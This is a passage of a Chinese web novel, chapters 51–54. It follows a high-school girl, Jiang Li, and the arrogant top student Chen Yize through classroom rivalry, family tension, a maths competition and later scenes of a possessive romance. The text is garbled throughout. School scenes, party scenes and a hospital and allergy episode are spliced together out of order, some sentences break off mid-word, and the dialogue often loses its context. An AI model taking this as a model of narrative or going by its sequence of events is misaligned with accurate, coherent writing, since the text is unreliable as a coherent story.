骆嘉溪收回视线,脱下手套,挖了一勺小蛋糕塞进嘴里,勾唇开口道,“挺可爱的。” “就是个魔鬼。”徐轻川头也没抬,没一会又补了句。 “他俩都是。”《 》 50-60 第 51 章 第 51 章 谁能理解蹲守半天,最后成果打了水漂的苦,事实证明,在变态占有欲这种方面还是陈屹泽更胜一筹。 她被追上取笑了半天,直到没忍住发了脾气,陈屹泽才收敛了些。 男生揉揉她的脑袋,再三保证他不会和其他异性相处,给足了安全感。 姜厘面上缓和,内心却更加焦躁,甚至于最后报复性地掐了一把陈屹泽的腰。 你不和别的女生相处!我怎么抓你的小辫子!! 无间道应该找她来演,真的。 不知不觉间,已经过了在气泡水里加冰块觉得舒爽的季节,夏天消逝得悄无声息。 姜厘盯着玻璃杯底的牛奶,看着这白色引发的海啸。 吃完早饭她同往常一样上学,唯一不同的是身上穿着印有“苏合一中”字样的新校服。校服的布料显然好了一个档次,最起码穿上去不觉得粗糙。 去学校的路是一整条由法国梧桐护卫的大道,树干斑驳,树皮脱落处露出灰白色,两棵树相连的树廊底下漏出晨光,那是浅枣色的清晨。美好的一天从穿越交错树影开始。 可惜,很不凑巧,一大早她迎面碰上了,陈屹泽。 他的嘴里叼着一块面包片,校服拉链拉了一半,卫衣帽盖住了半张脸,只剩凌乱的碎发,在快速运动中肆意横行,那件松垮的运动校服都能被他穿出利落挺直的肩线。 姜厘一直以来对着的是他的背影,第一次看见完整的他,有点无措,肢体都变得不太协调,险些同手同脚。 陈屹泽就站在那儿,盯着小企鹅一步步靠近。 结果,她径直跨过陈屹泽,假装什么也没看到。 陈屹泽:“?” “我伞呢?”陈屹泽见她要溜,追了上去。 姜厘的计划败露,只好老老实实打招呼:“早上好,伞放在你的位置上了。” 难道不应该再多说几句吗?怎么着也是他十几年学习生涯中第一次早起,还早了半个多小时?她就这么走了?陈屹泽的神色复杂,手里的半块面包索然无味。 面无表情地结束了他的早读。 一连整个上午他都一言不发,以往碰上周柏羽那些“我不是正义的伙伴,我乃邪恶的敌人。”的中二病发言,他哪怕再没心情都会怼上两句。 周柏羽捕捉到空气中不妙的成分,问他:“bro,你咋啦?” 陈屹泽没抬头,继续睡。 “你这家伙总有几天发病。”不理算了。 陈屹泽实在是想不通,自己不说很招人喜欢吧,最起码没有很招恨,怎么到她就这么避如蛇蝎,恨不得逃开八百米远,装作不认识的样子,连同伞也不愿碰。 她简直,不识好歹。 “你说,一个人如果看见了还要装作没看见是什么意思?”他原本没放在心上,可是困意又不断提醒他,白折腾了。 周柏羽满脸揶揄:“什么看见没看见的,单纯是你被讨厌了。” 陈屹泽嗤笑道:“好笑?有说是我?” “不是你,你激动什么?”周柏羽心知肚明,明知故犯,“陈屹泽呀陈屹泽,你之前可不是这样的哦~” “滚。” 两人的对话终止在了这个怨气十足的字上。 周柏羽恰到好处的犯贱总能顺利解开他的愁云惨淡,点到为止的嘴仗也是两个人维持关系最合适的尺度。 姜厘没觉得这很正常,从坐在那个位置开始就觉得反常。 她擅长观察别人,但是目前为止,她最看不懂的人就是陈屹泽。 一个不可一世的人怎么会突然地释放善意,一个每天踩点上课的人为什么改变了他的生物钟,反正在他身上姜厘看不到任何符合学霸人设的刻板印象,除了那张看着就聪明的脸。 综上,她要在下次月考时换到前排的座位。 月考在即,讨论题目的氛围火热,数学课后他们都在讨论一道基本不等式的题目,求x的平方加2y的平方的最小值,题干很简单只有一个等式,给的信息越少,题目难度就越大。 老师教的方法他们基本上都试了,消元法、万能k法、换元法……还是解不出来。 最后把目光投姜正在闭目养神的陈屹泽。之所以迟迟没人敢问,就是先前问都被骂惨了。 不是“去翻化学书最后一页,找元素周期表第五十一位。”;就是“你五水硫酸铜吗?” 总之他骂人不带脏字,说人蠢都要别人反应一会儿,久而久之就没人问他题目了。 宋写宁壮着胆子问道:“学神,这道题怎么做?学习指导p57十八题。”她也是硬着头皮被众人推上前道,他们知道陈屹泽不会对女生说这些话。 陈屹泽翻看自己那本,题干看完,答案也脱口而出:“七分之二。” “啊?差这么多。”一旁的郑承禹看了自己本子上的数字遗憾地问道,“你怎么做得,这么快就有答案了。” 陈屹泽不可思议地回答:“这很难?你初中没好好学吧,最基础上齐次就能做。” 众人听到答案后恍然大悟,他们上了高中后就基本上把初中学得东西给扔了,惯性思维用老师提供的方法。至于为什么没人质疑答案的准确性,那就是一百四十分以上的事了。 陈屹泽可以质疑自己,但不接受别人对他的质疑。 郑承禹就坐在陈屹泽前面,所以做什么都一览无余,他正在把这道题记在错题本上。 “你在记错题?” “嗯嗯,怎么了?”郑承禹回头看他。 陈屹泽轻叹一声,语调沉重:“不知道的还以为你在练字。” 郑承禹闭了闭眼,这兄弟开学第一天什么样,现在还是什么样,在讥讽人的道路上越走越远,别想着他能说出什么圆滑的话,他和周柏羽一样,逐渐免疫,抗毒性增强。 他看着本子上完整写下的这道题目,提问:“那你怎么记错题?” “先不论我的错题数量。”陈屹泽丝毫不懂什么叫谨言慎行谦逊低调,“错题记得不应该是错误点吗?写这么多字干嘛。” 就连老师强制性要求需要上交的错题本,他写了统共不过短短两行。 陈屹泽一杆子打死了不少人,包括姜厘。如果她成了筹码盘上一场注定会输的赌局,那他也选择无条件all in,因为陈屹泽生来就喜欢与所有人唱反调。 陈屹泽郁闷地走上了天台。 也不知道自己在气什么,明明只是个旁观者,他却难以保持相应的冷静,空气中跃动的分子全当是自己那无处安放的正义感。 天台上风很大,夜很寂静,但却诡异地透着粉与紫。 她还以为自己眼花了,用力地揉搓了一下眼睛,只是想出来透透气,紧闭门窗的教室让人感到窒息。姜夏锦若有所思,对身旁的人说道:“今天放学我晚点回家,你不用等我了。” “怎么了。”对面的女生不解地问她。 姜夏锦回:“找我姐。” 对面人明显顿住了,没在说话。 姜夏锦在十一班,教室在一楼,和姜厘隔了整整三层楼,除了操场食堂这些公共场所,两个人几乎见不上几面。 要是姜夏锦不主动来找姜厘,她也不会主动,所以到目前为止没几个人知道她们的关系。 姜夏锦从小到大都比姐姐更加活泼开朗,虽然姐姐总被夸安静沉稳懂事,但往往嘴甜的人更招人喜欢。年岁相近的两个人自然而然走得近,也同样会被无数人比较。 微小的裂隙就会慢慢变成沟壑,久而久之变成深渊。 知道姐姐没考上一中时,她的心情很复杂,震惊中夹杂着侥幸和不安。姐姐一直以来都是自己仰望的对象想要超越的对象,真到了这一天她却没有感到应有的喜悦。 姜夏锦无疑是个自私的人,分蛋糕时总会垂涎大的那块儿,但她并不觉得羞耻,人的本性就是贪婪。 她看着密密麻麻的错题本有些脸热。 陈屹泽为了显得不那么刻意,头微微侧着,说道:“看到错题你不应该立马解决,然后举一反三吗?花这么多时间在本子上练字,然后还打算再错一遍?” 很多人都是这样,姜厘也不例外,错题本上记的东西下次做到还是会有继续错的可能,不是谁都有他那样的执行力的。 姜厘只觉得自己的半张脸有点疼,陈屹泽,确实厉害。 今天放学,姜厘没有同往常那样最后走,整理完书包后就立马回家,因为她迫不及待处理家里的那些错题集了。 陈屹泽看着空无一人的后桌,眼神缺乏温度。 杵在桌边的黑伞,被他紧紧捏在手心,伞骨被捏的做响,把这东西带回家,眼不见为净。 就在他收卷伞面时,一张黄色的便签缓缓飘落。 黄油曲奇贴纸上写着【谢谢你和伞。】 藏的这么深生怕是被人发现?字真难看。 陈屹泽眉骨微抬,一只手遮住他的下半张脸,忍了许久低沉的笑声最终还是从喉间溢了出来。 车弯成功被两人的相处模式雷走了,角落的其他人都开始张罗玩起了桌游。 陈屹泽余光扫到觥筹交错的名利场,低下身子,轻轻吻上她的唇。 怕她发火,贴了贴又迅速退开。 男生挺阔的肩塌下来,半伏在桌面,认真看她。 “第一次这么长时间见不到你,特别不舒服。” “早知道就不让你去纪叔那培训了,带着和我一起参加比赛。” 姜厘没说话,低眸,隐下眸中涌现的风暴。 见她好像不开心,陈屹泽半晌才抓起那颗和他眸色一般黑的钻石,朝自己脸上轻缓地蹭了下。 “好了,我听你的。” “我知道不能折断漂亮蝴蝶的翅膀,你想做什么就去做好了。” 夺目的黑钻被男生捏在指尖,姜厘感受到他又把黑钻摁到她脸侧。 “只要不离开我,我就永远不会生你的气。” 第 52 章 第 52 章 GTTE超跑锦标赛不愧是上流公子哥交友的地方,就连奖牌也是用的纯金混昆仑玉打造的。 听说设计灵感来源于08年奥运会金牌,但中间用玉雕成的猎豹图腾却没有那年奖牌中央的平安扣造型温和,扑面而来的乖张兽性和周边环绕的金色高调得展示出仅那个阶层独有的奢靡与张扬。 这种气质,和陈屹泽很像。 不知道是不是因为这个,他才把这奖牌送给她。 姜厘发丝还湿着,瀑布一般的黑发垂在瘦削柔白的肩头,被月光打着无故多了几分清冷感。 她捏着端详完网上迷妹们难窥一眼的奖牌,缩腿踩到软椅上,抱膝又打开了桌面另一角静悄悄的丝绒锦盒。 柔缓的顿声响起,锦盒中的黑钻晃得她眼神失焦。 这会儿徐轻川的生日宴已经散了,只有相好的一些近友才被安排进了酒店包房。 床沿传来淅淅沥沥的水声。陈屹泽一招致胜:“你再扑腾,所有人都看你。” 姜厘僵住。 败。 非战之罪,是敌人喜怒不定爱发癫。 逼她参宴逼她和人说话掐她的脸给他吃巧克力还怀疑她下毒,王八蛋就是王八蛋,陈屹泽就不是个好的! 她双目带火,表情生动,胳膊抬起来,内臂扬在陈屹泽眼前,陈屹泽目光一晃,发现什么。 注意力转移,他松开手。 姜厘抓住闪现的机会,抱紧小包扭头走,陈屹泽正待细看,随手一把拽住了她的包带子——力气太大了,姜厘愣是没有移动分毫。 “你别动,”陈屹泽沉声,“我看看。” 看你个头!姜厘不要包了,埋头狂走。 陈屹泽大步跟上,一边对旁边客人说“抱歉”、“请让让”,另一边问姜厘:“你走那么快上哪儿去?” 姜厘不理。 “怎么这么小气,掐你一下怎么了。” “我对你这么好,你一件都没放在心上,一点小事,脾气发起来没完没了。” “再走撞墙了。” 姜厘被拖住肩膀头子,没往南墙上撞,陈屹泽将她结实按在原地,语气不耐烦了。 姜厘十分恼火:“你、你怎么这么讨人厌!” 陈屹泽:“我也没打算让你喜欢。” 姜厘:“……现在比刚才还更讨厌!” 陈屹泽:“当你自己多讨人喜欢。” 车灯在身后晃,半明半暗中,他的面目格外冷酷严峻。 两人去了姜厘家,她家有药。 宴会过半,先是姜厘悄然被助理护送离开,再是陈屹泽在招待完几名重要宾客后,也消失在大厅。 姜厘:“!?!?” 呜。 姜厘僵住。 陈屹泽全然不觉得自己行为有多么不妥、多么值得大喊110,维持着这个姿势,问她:“怎么回事?” 这是本世纪最长的三分钟,三分钟里姜厘想了爸爸想了妈妈想了宇宙和未来还想了自己怎 汽车向前点头,姜厘后背压在座椅上,抓紧了安全带。陈屹泽不说话,只抱臂,冷冷瞧着姜厘,停车场出口正在出车,鸣笛声响起,催促着,但他不理会。 姜厘后知后觉,看到陈屹泽在翻看她的病历本。 时间一秒秒过去。 陈屹泽未接,大马金刀的往沙发上一坐。 姜厘读完技能CD,在他耳边重申:“我真的不去!!!” “不给,”姜厘把两只手都背过去。 陈屹泽把小袋子给她,转身倒水,这地方他实在下不去脚,面无表情的把她那些玩意拨开,像走迷宫一样去了水吧台。 想抢,不敢抢。 陈屹泽并没跟她商量,点了确认,踩下油门。 姜厘的气焰逐渐熄灭,小声的支吾:“不去了,我去过医院了,不用去了。” 停车场设计的曲折,陈屹泽单手打方向,速度不快不慢。 她严重过敏的症状,露出端倪。 姜厘:……你怎么回事! 姜厘身上的风团发作是一阵一阵的,转移了注意力就会减轻症状,跟他斗嘴的时候就好了,所以只嗑了一颗白色药丸,便把水杯还给他。 陈屹泽一上车,就吩咐助理回会场,他坐上驾驶座,点开导航选最近的医院。 陈屹泽捉拿嫌犯的姿势按着她:“说了别动,手给我。” 小小的两室一厅,客厅堆满各种各样的东西,翻半天,才找到一个小塑料袋,装着她从省立医院就诊带回来的病历本和药。 拇指上有薄薄的茧,粗糙的落在女孩肌肤上,划过红色痕迹,姜厘知道露馅,小小“嘶”了一声。 陈屹泽没有她这么幼稚,不看手也行,大手环着她的肩膀,高大的身形挡住外人的视线,将她抵在墙边,手指拉着她领口布料,往外扯了扯,如有实质的目光下落,到在她锁骨。 陈屹泽将触碰放轻,抬眸时,眉眼紧压,道:“你跟我说这是什么,过、敏?” 一整句话没有一个字是结巴的,跟她提辞职一样气势拉到了满格,陈屹泽也终于刹车,分了个眼神给她。 男人的手滑过她肩头,从后方抓起她的手腕,翻过来,陈屹泽低头,擦了擦她手臂内侧,抹掉一点粉。 姜厘抵抗:“我不去……” 门外还有阵阵抱怨,她已经什么都听不进去了,用被子紧紧包裹住全身,把头准确无误地放在两个枕头中心的坑陷处,闭上双眼。 姜厘一直知道,撕开自己毫无保留的后果永远都是这样,鱼死网破。她想要的只不过是一句安慰的话,讨厌他们落后的思想,又害怕直视他们时清楚看见眼下的青黑,眼底的红血丝,于是只好把这些归咎到自己身上。 在很小的时候,姜厘幻想过无数次,如果他们不是自己的父母会怎样?如果叔叔婶婶来当自己的爸爸妈妈又会怎样。 他们会很温柔,但同样带着一份严厉,在宽慰的同时发出警告。 窗外的大雨未停,潮湿的孤独像是顽疾一样粘连着她。 或许姜厘的视角是哈利波特世界里一只疯狂乱窜的魁地奇,一不小心扎进煮满南瓜汁的沸腾大锅里,模糊了一切。也可能是阿莉埃蒂害怕的七星瓢虫,莽撞地冲姜糖块…… 但是无论如何,睡觉最重要。 想到这里她便睡下了,思绪也慢慢飘远。 车弯洗澡洗到一半才发现自己忘拿毛巾,并着水声向姜厘哀怨地求助:“厘厘,毛巾!” 锦盒啪地一声合上, 姜厘思绪打断,起身去递毛巾。 再回过头来时,浑身更疲乏。 锦盒和奖牌重重地搁在桌面, 她记起陈屹泽送它们时的神情,续着刚才的幻想继续,重复再重复内心的祈祷: 漂亮珍贵的黑色钻石,请他宽恕我。 陈屹泽此时则罕见地没在睡觉,翻着手里的《数学分析基础》小纸团通过一个特殊的抛物线轨道,落在书页中央。 他们提心吊胆地看着陈屹泽慢慢展开纸团后,撕碎卷起,毫不犹豫地扔进垃圾桶。 用力合上书后,陈屹泽独自走出教室。 注意力过于分散就会把目光放在别人身上,那张纸条上面是带有不同字迹的对话一个同姜厘有关的赌约: 【我赌一包辣条,还在倒数十名内。】 【加一包。】 【感觉应该会进步一点吧,你看她现在多认真。】 【别瞎想,人家不过是做做样子,装努力谁不会啊。】 她今年必须走! 姜厘抿抿唇不吭声了,清瘦的身影在日光下照成一个点。 校园的柏树还绿着,冷风一吹,叶片响得像交响曲,陈屹泽感受到身旁女生的情绪变动,顿住脚步,回眸等她出声。 “我真的很想参加IPMO国际赛事……必须要今年。” 姜厘眸底情绪复杂。 隐隐地,陈屹泽像是窥到了什么,他唇线拉平,接着感觉到衣角被拽住。 姜厘在他锁骨处的位置仰头,眼神甚至算是渴求,唇润润湿湿,轻轻向下撇着。 他真受不了她这样的表情。 他懒得动,也不想理。 “考都考完了,就别瞎想了。”很难想象这样一本正经的话居然出自周柏羽的口中,他知道陈屹泽图一个耳根子清净,就把这些人都赶走了。 卢瑞音从窗台走过时,所有人都屏息凝神,她踩着尖细的高跟鞋手里还带着一大叠卷子:“给我把阅读做了。”扔下这句话就走了,还真是全年级第一个下午考试中午还要求学生做题的老师。 其实她早就知道这帮人的脾性,不知道考一门扔一门,既然他们不愿意自主复习,那就额外布置点任务。 高一的是十一门课,他们考了整整三天。 姜厘考完最后一门地理走出考场时,感觉空气都变得格外清新,她深深呼气吸气,感觉肺叶舒张,废气全被置换了出来。 经历了如此巨大的脑力活动,她们急需补充能量。 宋写宁拉着林致优去了学校便利店。便利店人很多,大多数都是高一年级的学生,高年段的还在上课,刚考完试就来觅食。 不必慌张地赶赴下一个考场,所以她们悠哉悠哉地挑拣着物品。 宋写宁在角落里发现了海带条激动地说道:“她们都说这个好好吃,买来尝尝。” 她们之中总会时不时地风靡着一个种类的零食,最开始在不起眼的角落里发现,随后口口相传,班里的每个人来便利店都会带上一包,销量也是被这样带起来得。 林致优的口味很挑,并且有较重的洁癖,但不知为何上了高中,洁癖都被慢慢治好了。虽然有些时候仍心有芥蒂,但相较初中而言好了太多,最起码不再介意别人吃她的东西。 宋写宁完全不计较这些,她往往是主动分享疯狂安利的那类人。 怎么她得不到什么东西,他都只会觉得是自己无能。 “哥哥。”高中,既不是排好队手拉手的小学,也不是按照老师安排身高按次序排的初中。 两路纵队先是按照男女分开,然后在按照各自的意愿结队。 一米六三的姜厘被落在队伍的最后,同一米八八的陈屹泽站在同一排。 周柏羽正要和他打打闹闹,没个正形儿,陈屹泽没搭理。 这家伙,又没跟上队伍。 其实是姜厘刻意放慢了步子,她知道自己是那种规则下的既得利益者,所以即便面对冷眼相待,也不会心生怨怼,转而极有自知之明地远离纷争。 开学典礼上必不可少的桥段,一定是学生代表的演讲。 而这学生代表不必多想,正是鹤立鸡群的某人。 他手里拿着稿子,脸上看不出丝毫的胆怯,仿佛天生就是为了站上这主席台的人。 姜厘不由得为他捏了把汗,毕竟就没看他在闲暇时念过演讲稿。 陈屹泽从阴影处走到阳光下时,众人都震惊。 不仅是中考状元的名头足够唬人,而是状元长相极佳,身高优越,简直万里挑一。 他的出现让原本被烈阳炙烤坚持不住的人都睁大了眼睛。 开口前,先轻拍麦克风。 “哔——” 姜厘又追着叫了他一声。 半晌,他才把视线从她脸上挪开,轻声道:“好。” “我找IPOM以往赛事的命题,总结下来帮你特训。” 陈屹泽算了下自己接下来的工作量,停顿片刻又低头点开手机,“纪叔这几天不知道有事没有,我帮你问问。” “好,麻烦哥哥了。” 姜厘笑盈盈地应下,嗓音甜美地持续吹着彩虹屁。 冰柜的玻璃上蒙着一层水雾,被玩性大发的人画上了可怜的小猪图标,宋写宁也凑热闹在一旁补了个笑脸。 放酸奶的冰柜上有一块能反光的金属材质,路过的人能看到自己变形的脸。林致优看着满满一排的草莓酸奶,嫌恶地扭头,她不喜欢草莓味制品,尤其是奶精味贼重需要放很多甜蜜素遮掩的这种。 可恶的草莓,把芦荟黄桃的空间都给抢占了。 林致优拿了最后一盒黄桃味的,脑子里浮现除了她的身影,姜厘,她也喜欢黄桃味的。 曾几何时,观察姜厘成了林致优的一个下意识的行为。 如果空调前的那个位置没人,就会猜想她去哪儿了;遇到落单的情景时,总会率先观察她的表情。 不怎么去便利店的姜厘偏爱黄桃酸奶,经常去走廊放空,喜欢开窗,一个人泰然自若。没有人在等她,她也无需等任何人,就像一只行走在旧巷里的猫,来去自如。 两个人购入了许多零食回到教室,刚一进门就被热闹的气氛给吓到了。 宋写宁的瞳孔放大,找个人问清状况:“怎么了?成绩这么快出了?” “怎么可能,哪有这么快!” 看见大家如此激动的情绪弄得她以为成绩出了,听到这话悬着的心也就放下,继续问:“那你们在讨论什么?” “你敢信我们班主任居然和语文老师有个孩子!” “啊?” 就连林致优也万分震惊。 “什么?”宋写宁没控制好音量,“你说音姐有儿子,还是顾老师的!” 在她们眼中八杆子打不着的两个人居然是一对,听到这个消息,天都塌了。这个消息的杀伤力不亚于知道自己喜欢的偶像与自己一直不太对付的对家在一起。 这两人自从听到消息后,双眼失神,呆若木鸡。 宋写宁实在是不能接受:“一个看上去三四十岁,一个感觉才二十几岁,他俩儿怎么在一起的?姐弟恋?” 一旁目睹完全程的徐轻川觉得他俩的相处模式有些奇怪,但看了看自己兄弟甘之如饴的模样还是欲言又止,寻了个由头先走了。 手机交流没一分钟,纪隽就高效地打过来电话。 大概交流了有三分钟,陈屹泽才挂断通话。 “纪叔说可以抽时间帮你辅导。” “真的!” “嗯。” 陈屹泽收起手机顺势揉了揉姜厘的脑袋,男生搭着她懒洋洋地继续往前走,瞳孔却不知何时变得黝黑。 “你是想出国么?” 第 53 章 第 53 章 “好好的我出国干什么。” 姜厘囫囵了半句,下一刻又忽道,“再说了,我妈妈还在这呢。” 虽然没有明确的数据统计过,但按常理来说,相同经济条件下,单亲家庭的小孩应该比家庭成员完整的小孩出国人数要少。 人是感性动物,需要血脉情感的滋养。 尤其姜厘是独生女,父亲去世,这个世界上唯一和她有血缘关系的就是妈妈了。 和妈妈分离,去国外进修生活,想想可能性也不太大。 陈屹泽收起无端的揣测,想到自己被姜厘抱怨过多次的多疑性格,募地松了点揽着她的劲。 “如果真的要出去,记得跟我说,我跟你一块儿。你妈妈那边我会做打算。” “嗯。” 姜厘满脸警觉:“什么事?” 对于他这种利用身高优势谋私利的行为,姜厘不大理解。 陈屹泽的眼神瞬间变的正经,靠近她说:“这周末你在不在医院。” 姜厘一脸懵:“?” 明明说的是中文,组合起来她却听不懂。 “什么?” 陈屹泽的脸色明显变得不太自然:“就是成渝医院。” “哦。” 姜厘恍然大悟,那是她叔叔家开的牙科诊所。 语气里没有恳切,只有威逼利诱:“最好别去。” 陈屹泽请求态度一直都很差,他不善于求人做事,他擅长用最简单的手段威胁人,亦或是最坦率的方式利用人。 姜厘眉毛微蹙:“知道了,没空去,东西给我。”不就是害怕被她戳穿。 这人未免有些幼稚,不过长这么大还害怕牙医这件事放在陈屹泽这种人身上,确实挺丢脸的。 姜厘没忍住,笑出了声。 那笑声很轻,再轻就被雨声盖过了。 陈屹泽的动作停顿了,那件套着塑料膜袋的衣服被她从手中抽走。 眼睛完完全全停留在她脸上的那个若隐若现的酒窝上,让他不由自主地想到了牧区草原上随处可见的蒲公英,蓬松柔软,捧在手上,被风吹散了,破碎亦生动。 即使乱雨打湿发梢,覆在脸上,也丝毫遮挡不住眼里的光。 他似乎闻到了她周身若有似无的味道,像是咖啡液上搅打奶油的香味,近似乳木果香。 陈屹泽意识到两人距离靠得过分近了,后退了两三步,腿不小心撞到了铁杆上,痛且狼狈。 姜厘丝毫没注意到,她正在检查手中的校服。 两个人各站一边,狭小的廊道也显得异常空旷。以往电视剧总会上演一男一女被意外锁在器材室的离谱剧情,反正,陈屹泽心里闪过了无数这样相同相近似的画面。 太可怕了。 “走吧。”他步子迈得很大,率先出门拿着自己的那把伞。 朋友的折叠伞相对来说比较轻。 雨下得大,姜厘也没打算在器材室试穿校服,便跟了上去,走到门口才发现陈屹泽把雨伞换了,那把大黑伞在他的手里,她没说什么慢吞吞地跟在了后面。 空中雨幕低垂,几乎要完全笼罩大地,不留喘息的余地。 在一楼的门廊前,她把那顶折叠伞沥干水,收好还给了他。 陈屹泽接过伞就走了,消失在了走廊尽头。 “谢啦。” “这有啥。” “下次再聊。”他拍拍朋友的肩膀。 两人寒暄余下的姜厘就没听到了。 一个人走回了教室,看着窗边划过水痕,也像指甲在她心上划了一道,留下印子。 姜厘有点羡慕陈屹泽,羡慕他能够随时遇上朋友,随地借到东西,不过也就停留在这个程度,主要还是震惊,以他为人处事的态度,还能有这么多朋友属实不易。 三节夜自修,姜厘做作业只需要花费一节课,剩下的时间她都用来做练习题。 桌面上放了很多课本和习题册,按照不同科目、大小颜色排布地格外整齐,剩下的空间刚好够放下一张试卷。 对她而言,把书本理整齐不算增加负担,反倒格外解压。并且还能提高工作效率,看着也赏心悦目。 不像某人,桌上干干净净,只有一支笔。所有的书都放在课桌里,只有在用到的时候才会拿出来。 周柏羽则是另一个极端,他桌子上的书都可以搭一个枕头堡垒了,严严实实地把人挡完,美其名曰,老师眼不见为净,值得一提的是,那个书架是粉色的。 姜厘每次尽可能地避开去看他的座位,以免糟心。 放学铃还未响,大家早已整理好书包,准备好倒计时。 想想这场雨变得不那么糟糕,只是眼下有点棘手罢了。 好在家里距学校不过两三分钟的路程,不算路上避雨的廊,露天需要淋雨的距离也就一两分钟。 正当她在脑里计算回家路线时,桌子边上被放了一把黑伞。 一道低沉的声音响起:“擦干净还我。” 说完就走,陈屹泽一姜如此,从来不关注别人做何表情,是何态度,他只做自己想做得。 姜厘的瞳孔放大,她只觉得惊恐。这人并不和同龄男生那样喜欢冒头淋雨耍酷,也不像那种会大公无私帮助别人,分享自己手中雨伞的善类,这样只会让人认为他另有所图。 姜厘撕下一张便签,把伞放回了他的位置,脑子里已经筛选出了最优解:那就是淋雨自己回家。 其一,回家的距离很短淋不到多少雨;其二,明天如果不下雨这把伞从家带到学校会很显眼;其三,陈屹泽人出了什么问题目前无从判断。 说服自己后,她的身影没入雨幕。 这双鞋子大概率是穿不了了,姜厘进门把蓄满水的鞋子倒放在鞋架上。 蒋月华看着浑身湿透的姜厘,无比懊恼:“哎呀!我忘记了,今天下雨,没提醒你带伞。” 姜厘低头为那双报废的鞋子默哀了几秒。 这句话好陌生,不知道为什么恍惚间回想起小学。 记得那是小学三年级,学校组织了一场朗诵比赛,每个人的小脸被画得像猴子屁股,女孩们穿着白色公主裙,男孩穿西装,规定统一要穿白色的鞋子,姜夏锦这人老是丢三落四,比赛那天也是,没穿白鞋。当 时的她万分羞愧,六神无主,她的妈妈像是踩着七彩祥云的天兵天将,放下手头的工作,快马加鞭过来给她送鞋子,姜厘依稀记得那是一双泛着柔光的缎面白色玛丽珍鞋,一边数落着一边帮她扮上。 姜厘没想到自己在那一刻居然是羡慕的,羡慕她在闯祸时有人兜底。 可明明一个人就能够做好充分准备,足以抵挡千军万马。 她的鞋一直就是白色的,即便那双鞋头的黄色胶快开了,因为这是万全之计,没有人会提醒她明天是朗诵比赛需要穿白鞋。 看似微不足道的自尊心实则是撑起她整个童年的白色帆布鞋。 所以在那儿之后鞋柜里总会有它的容身之地,因为那些弥足珍贵。 蒋月华递给她一块干毛巾,把那双鞋子从鞋柜转移到阳台:“洗了送人吧。” 沙发上坐着的人看上去有些疲惫,黑色的防水夹克衫上也还挂着水。 “爸,你回来啦。” “嗯。”那个男人抬头看了眼又继续刷起手机。 “那个,吃夜宵吗?” “不了。” 这样简单的对话应该就已经是这两个人的极限了。即便是共处于同一个空间两个人的血缘关系也只是蒙着一层浅薄的陌生。 她的一整个童年,父亲几乎是缺位的,模糊的人脸一直都被“爸爸这么辛苦是为了买大房子,让姜厘过上好日子。”的只言片语所代替,身边的所有人都具象化了这份父爱,只有小姜厘没有。 依稀记得,每次爸爸回家都满脸疲惫,不过回来时就会带她去超市买玩具。 那个时候幼年的她才能略微懂得了他所谓笨拙的付出。 姜厘有点羡慕那个拿到点棒棒糖奖励就忘却一切的她,成长换句话说就是打碎骨肉后的重塑,懂事是她获得奖励最好的伪装。慢慢长大,等她与大人世界达到微弱平衡的时候,才发觉原来这个世界每个人都在伪装。 蒋月华对他翻了白眼,示意他说点什么与女儿拉近距离。 姜成明不太自然地开口问:“最近学习得怎么样?” 姜厘也是干净利落的回答:“还行。” 这样的你来我往根本没有要继续的意思,蒋月华便继续询问:“和同学老师相处的怎么样?有没有认识新同学?”她其实也不知道如何同一个正处于青厘期的少女交流。 姜厘顿住了,她在大脑中思考了无数种回答的方案,百分之九十都在撒谎,不知道是不是下雨的缘故,神经末梢显得很脆弱,她选择如实回答:“相处的不怎么样,认识了两个新同学。”姜厘承认自己的回答带着赌的成分,但她很想知道蒋月华在自己的决定和女儿的心情中会作何选择。 这下轮到她噎住了,似乎在用尽力气思考完善答案:“你是去上学的,又不是去交朋友,等你成绩考好了还有谁会给你脸色看?” 同姜厘预料到的分毫不差,轻笑一声,笑得是她自己。 蒋月华眉心微蹙,担忧地继续补充道:“和老师的关系妈妈相信你会处理好的。” 姜厘停住了回房的脚步,在回头的那一刻收敛了笑,用极为委屈的口吻回答。 “可是妈妈,我们老师好像不喜欢我。” 是叛逆,亦是刺激。 窄长的树影下,姜厘低头应得很小声。 陈屹泽没太在意,在微信上帮她约好了和纪隽培训的时间,又伸手捏了捏酸胀的脖颈道。 “走吧,去图书馆。” “图书馆??” “不然?” 姜厘攥紧拳,弱弱:“我们刚刚才烧脑了三个小时,我想是不是可以……” 陈屹泽募地低眸淡笑,冷白指尖带着温度,探到她的太阳穴敷衍地揉了两下,动作十分糊弄慵懒。 “你还想不想进决赛了?” “你的心跳。” 第 54 章 第 54 章 …… “现在是北京时间18:45,距离IPOM校内决赛入场时间还剩15分钟。” “请相关考生尽快回到考场再次进行安检。” 硕大的白色安检门矗立在候考区,姜厘支着头,瞟着一个个鱼贯而入的进场考生。 但仅三分钟,她就没得看了。 H大本院的八强赛,在她后面进场的只有五位,现在已经全部入场完毕。 监考员又孜孜不倦地重复了一遍接下来的晋级赛规则,条条框框的违禁事项一宣读出来,好不容易降低的气压再次升到一个引人不适的高度。 姜厘紧迫到极致,已经没力气再死扛,她现在只想赶快比完回宿舍睡觉。 不能入围就不入了! 老妈自求多福吧,家里有她一个幸福就够了! 办公室的玻璃窗目前还攒动着不少的人头。 不少人借着各种各样的机会去一探究竟,这其中也包括宋写宁。 她问林致优:“你不去吗?” 林致优摇了摇头,无奈地指手中的单子,那是学生会的任务。 宋写宁见状就没带上她,同其他人一窝蜂似地跑去办公室,假装不经意地路过,看看班主任的儿子。 教室里的人变少,慢慢消停下来,林致优看着手中的黄桃酸奶,又回头看了眼窗边那个女孩。 几乎听不到的脚步声,她快步走到姜厘身边,把酸奶放在她面前,十分冷酷地扔下一句:“给你了。” “谢谢。” 姜厘这次的反应倒是不慢。 看姜她的眼神惊大过喜,像一只流浪猫意外获得了一盒金枪鱼罐头,林致优没有很快就走。 她很好奇姜厘的反应。 林致优没有这样直视过别人,很少有这种带有侵略性的示好,也从不主动,她是第一个。 辞不达意,姜厘给人的感觉像是走进森林呼吸的第一口空气,眼中掌握了冰山融雪的冷,湿漉漉的,正处于厘夏交替之际。 仿佛过多的譬喻,再多的形容也是语焉不详。 姜厘欣然接受了这份好意,她笑了,只是轻轻牵扯了一下嘴角,脸颊边酒窝若隐若现。 怎么一天到晚板着张脸,笑起来多好看,林致优虽然心里是这么想的表面上还是装作冷若冰霜的模样,没说什么回到了座位。毫无疑问在看到那张笑脸时,她的心软了半截。 甚至对自己曾经没有为她解围产生了莫名的内疚。 姜厘撕开了酸奶罐,她其实很激动,如果说内心情绪完全外放的话刚刚呈现的不过是百分之十。 